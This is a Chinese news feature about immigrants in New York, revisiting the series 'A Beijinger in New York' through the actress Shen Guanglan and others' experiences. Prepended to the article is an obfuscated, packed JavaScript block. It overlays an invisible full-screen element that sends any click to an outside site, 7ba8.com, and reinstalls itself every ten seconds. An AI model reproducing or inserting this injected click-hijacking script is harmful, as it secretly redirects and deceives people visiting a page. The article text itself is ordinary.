<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>“如果你爱他,就把他送到纽约,因为那里是天堂。如果你恨他,就把他送到纽约,因为那里是地狱。”
20年前,因为一部折射东西文化差异的电视连续剧《北京人在纽约》,这句话曾红遍了中国的大街小巷。
20年后,有消息说这部描写改革开放后第一批来美淘金的中国人的事业与情感历程的经典之作正计划重新拍摄,而今天,仍有众多和剧中男主角王启明一样的“追梦者”来到纽约坚持着、奋斗着。
适应“救急不救穷”的理念
“当年《北京人在纽约》热播之后,很多朋友对我说,你怎么这么抠门,自己亲戚一下飞机就送到地下室,扔下500美元还说是借给他们的,太绝情了吧?”时隔20年后,电视剧《北京人在纽约》中大姨妈的扮演者慎广兰接受《国际先驱导报》记者采访时笑道:“这个细节在现实生活中很真实。要我说呀,这种做法现在也一样,没什么大改变。”
慎广兰家住美国纽约皇后区,毕业于北京电影学院表演系,到美国已20多年。记者采访她时曾两次碰钉子——原来她正忙于接待来访的客人——几位北京电影学院刚退休的教授,也是她的师哥师姐们。
头天接到他们,慎广兰请他们去纽约RADIOCITY看一年一度的圣诞歌舞剧,晚饭后,邀请客人到自己家留宿,第二天又带客人去纽约市内观光游览购物。如此热情接待客人,与《北京人在纽约》中将亲戚送到地下室可谓天壤之别。
这件事能够说明20年来美国华人社区人情冷暖发生了变化吗?慎广兰却不这么认为。
慎广兰说,长期落地和短期做客的接待方式当然不一样。接待准备长期留在美国的亲戚朋友,如果能够帮他找个住的地方,帮他找个工作,然后借给他500美元,这已经做得很好了。帮他找工作受限于他的专业技能,租房自然要考虑他的承受能力。
“如果留在自己家里,一来不利于他自己打拼,二来时间长了,由于各自生活习惯、作息方式、文化差异等等,难免会有矛盾,甚至最后成为仇人。短期的观光旅游就不同了,很多人都会让客人住在自己家里,这样热闹,说话也方便。”
“美国人的社会理念是救急不救穷,这不是不讲人情世故,而是东西方文化的差异。”慎广兰的这句话令记者印象深刻。
不过,朱莉的故事似乎刚好从反面印证了慎广兰的观点。她的侄儿侄女到美国留学,弟弟妹妹嘱托她一定要代为照顾和管教。两个孩子刚到美国,她就接到了自己家中,忙忙碌碌地帮他们联系学校,花几百美元帮他们开通手机服务,为他们准备饮食,开车接接送送。
她向两个孩子提供了许多租房的信息,但是两个孩子到租房地点一看,觉得条件太差,又回到了她家里。朱莉家里从此就多了两张饭来张口衣来伸手的孩子,她白天忙工作,晚上忙着做饭搞清洁照顾孩子。
“我实在是受不了了,我打电话告诉弟弟妹妹,拜托他们一定要告诉孩子学会自立,老待在我这儿不是个事情。弟弟倒没有抱怨我,只说要多给钱作为补偿,我说这根本不是钱的问题。妹妹却很生气,说我不顾亲情。我快要疯掉了。”
道是无情却有情
美国是一个移***家,也是世界上最开放的国家之一,美国人究竟是无情还是有情,每一个到过美国的华人都有自己独特的故事。
高育滨是上海一家医药公司的质量总监,前两年到美国康州哈特福德为女儿坐月子帮忙。没想到第一天就迷路了。她一个人兴致勃勃地在女儿家附近散步,无意中走进了别人的小院,想起美国人保护私有财产的意识很强,担心屋子里是不是有一杆枪正在朝自己瞄准,高育滨选择赶紧离开。但语言不通,手机和通讯录什么也没带,心中惶恐不安,一时不知如何是好。
无奈之下,她拦住了一位美国人求助,中文夹着一点点有限的英语,比比划划,可是别人听不明白她要去哪里。“后来那位年轻男子开车带我在小区内一条一条马路地转圈,最后终于帮我找到了女儿家。我真的非常感谢他们,可他只是有礼貌地回答了一声:‘Youarewelcome.’”
在美国,人与人之间的距离似乎比中国人远,自己的事情要靠自己,不能依赖别人。一般美国人不会因为好面子而勉强自己去做不想做的事情,但你真遇到困难,许多人都会尽力帮助你。或许这就是很多中国人刚到美国不习惯的原因。 |